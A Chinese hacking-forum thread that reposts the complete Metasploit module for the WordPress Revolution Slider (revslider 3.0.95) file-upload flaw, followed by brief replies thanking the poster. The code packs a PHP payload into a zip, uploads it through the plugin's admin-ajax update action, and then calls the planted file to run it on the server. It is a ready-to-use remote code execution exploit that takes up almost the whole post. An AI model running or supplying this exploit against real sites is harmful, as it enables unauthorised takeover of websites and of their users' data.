查看: 27232|回复: 143

Wordpress RevSlider上传和执行漏洞

[复制链接]
  • TA的每日心情
    擦汗
    昨天 13:07
  • 签到天数: 1572 天

    [LV.Master]伴坛终老

    发表于 2015-5-9 14:06:35 | 显示全部楼层 |阅读模式
    ##
    #This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    [PHP] 纯文本查看 复制代码
    require 'msf/core'
      
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
      
      include Msf::HTTP::Wordpress
      include Msf::Exploit::FileDropper
      
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Wordpress RevSlider File Upload and Execute Vulnerability',
          'Description'    => %q{
            This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
            Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The
            vulnerability allows for arbitrary file upload and remote code execution.
          },
          'Author'         =>
            [
              'Simo Ben youssef', # Vulnerability discovery
              'Tom Sellers <tom[at]fadedcode.net>'  # Metasploit module
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],
              ['EDB', '35385'],
              ['WPVDB', '7954'],
              ['OSVDB', '115118']
            ],
          'Privileged'     => false,
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Targets'        => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
          'DisclosureDate' => 'Nov 26 2015',
          'DefaultTarget'  => 0)
        )
      end
      
      def check
        release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
        check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
      end
      
      def exploit
        php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
      
        # Build the zip
        payload_zip = Rex::Zip::Archive.new
        # If the filename in the zip is revslider.php it will be automatically
        # executed but it will break the plugin and sometimes WordPress
        payload_zip.add_file('revslider/' + php_pagename, payload.encoded)
      
        # Build the POST body
        data = Rex::MIME::Message.new
        data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
        data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
        data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
        post_data = data.to_s
      
        res = send_request_cgi(
          'uri'     => wordpress_url_admin_ajax,
          'method'  => 'POST',
          'ctype'   => "multipart/form-data; boundary=#{data.bound}",
          'data'    => post_data
        )
      
        if res
          if res.code == 200 && res.body =~ /Update in progress/
            # The payload itself almost never deleted, try anyway
            register_files_for_cleanup(php_pagename)
            # This normally works
            register_files_for_cleanup('../revslider.zip')
            final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
            print_good("#{peer} - Our payload is at: #{final_uri}")
            print_status("#{peer} - Calling payload...")
            send_request_cgi(
              'uri'     => normalize_uri(final_uri),
              'timeout' => 5
            )
          elsif res.code == 200 && res.body =~ /^0$/
            # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
            fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
          else
            fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
          end
        else
          fail_with(Failure::Unknown, 'ERROR')
        end
      
      end
    end
    [2015-05-09]  #
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-11-18 09:20
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2015-5-10 22:34:44 | 显示全部楼层
    谢谢老大分享,能带点说明更好了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 08:44:40 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 10:06:22 | 显示全部楼层
    加油!干倒冰儿和酒仙!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 15:59:16 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 16:47:59 | 显示全部楼层
    加油!干倒冰儿和酒仙!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 06:34:10 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-6-28 08:04:53 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 02:22:23 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-7-2 05:32:33 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-19 00:47 , Processed in 0.022331 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部